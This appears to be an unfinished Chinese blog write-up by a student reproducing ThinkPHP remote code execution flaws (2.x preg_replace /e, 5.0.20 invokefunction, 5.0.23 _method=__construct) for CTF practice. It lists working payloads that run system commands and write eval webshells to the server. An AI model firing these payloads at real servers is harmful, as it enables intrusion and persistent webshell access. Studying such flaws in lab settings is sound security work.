ThinkPHP历代版本漏洞复现(未补完)

校赛遇到一道PHP5.0.23版本的rce漏洞,复现完想着把整个这系列的洞都打一下

image-20250416142405466

ThinkPHP 2.x RCE

这个版本下有个preg_replace的e模式匹配漏洞

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

具体原理其实不大懂,后面自己的理解大概会补。?

先把洞打穿吧

这里贴一下BUU的题目

image-20250414191818633

原理

  • PHP当中,**${}**是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a

  • thinkphp 所有的主入口文件默认访问index控制器(模块)

  • thinkphp 所有的控制器默认执行index动作(方法)

  • http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
    
    
    - 数组`$var`在路径存在模块和动作时,会去除掉前2个值。而数组`$var`来自于`explode($depr,trim($_SERVER['PATH_INFO'],'/'));`也就是路径。
    
      所以我们可以构造poc如下:
    
    ```php
    s=a/b/c/${phpinfo()}
    s=a/b/c/${phpinfo()}/c/d/e/f
    s=a/b/c/d/e/${phpinfo()}.......

所以连蚁剑或者直接phpinfo()查一下都可以

poc

s=/1/2/3/${@eval($_POST[1])}
s=/index/index/index/${@phpinfo()}
s=/1/2/c/${@print(system(env))}

ThinkPHP 5.0.20 RCE

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php @eval($_POST[pwn]);?>

ThinkPHP 5.0.23 RCE

s=captcha
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo();?>" > test.php
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_POST['pwn']); ?>" > test.php